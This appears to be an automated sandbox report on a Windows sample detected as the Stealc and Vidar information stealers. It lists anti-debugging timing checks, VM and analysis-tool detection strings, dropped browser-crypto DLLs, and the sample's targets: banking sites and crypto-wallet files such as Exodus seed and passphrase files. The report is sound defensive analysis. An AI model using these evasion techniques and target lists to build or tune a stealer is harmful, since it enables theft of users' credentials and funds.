Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772BE2 second address: 772BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772BE8 second address: 772BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772BEE second address: 772BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772BF5 second address: 772C0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1F8CBC7206h 0x0000000a jmp 00007F1F8CBC720Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0263 second address: 4DB0267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0267 second address: 4DB026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB026D second address: 4DB02C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 4DA0h 0x00000011 pushfd 0x00000012 jmp 00007F1F8C74D6F9h 0x00000017 add eax, 63DC94A6h 0x0000001d jmp 00007F1F8C74D6F1h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02C2 second address: 4DB02C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02C8 second address: 4DB02E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02E7 second address: 4DB02ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB02ED second address: 4DB02F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB037D second address: 4DB03CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F8CBC7217h 0x00000008 jmp 00007F1F8CBC7218h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1F8CBC7217h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB03CC second address: 4DB03D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB03D2 second address: 4DB03E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC720Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB03E8 second address: 4DB03EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB03EF second address: 4DB0420 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 0CD97D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F1F8CBC7215h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1F8CBC720Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F509 second address: 68F539 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1F8C74D6EAh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F1F8C74D6F8h 0x00000019 jmp 00007F1F8C74D6F2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CC1 second address: 4DB0CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC720Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CD1 second address: 4DB0CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CD5 second address: 4DB0CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CE4 second address: 4DB0CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CE8 second address: 4DB0CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CEC second address: 4DB0CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0CF2 second address: 4DB0D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7212h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1F8CBC7210h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1F8CBC7217h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D34 second address: 4DB0D58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D58 second address: 4DB0D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D5C second address: 4DB0D62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0D62 second address: 4DB0D69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4E1932 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6989A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4E1817 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7127F2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00294910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00294910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0028DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0028E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0028BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00293EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00293EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0028F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002816D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0028ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00294570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00294570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0028DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0028DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00281160 GetSystemInfo,ExitProcess,

0_2_00281160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: IDAEHCFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: IDAEHCFH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: IDAEHCFH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2326148225.0000000000E71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: IDAEHCFH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: IDAEHCFH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: IDAEHCFH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: IDAEHCFH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: IDAEHCFH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: IDAEHCFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: IDAEHCFH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: IDAEHCFH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: IDAEHCFH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: IDAEHCFH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: IDAEHCFH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: IDAEHCFH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: IDAEHCFH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: IDAEHCFH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: IDAEHCFH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: IDAEHCFH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-52592
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-52589
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-53779
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-52604
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-52643
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-52612

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_002845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00299860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00299750 mov eax, dword ptr fs:[00000030h]

0_2_00299750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00297850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00297850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00299600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00299600

Source: file.exe, file.exe, 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00297B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00296920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00296920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00297850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00297850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00297A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00297A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2049783064.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
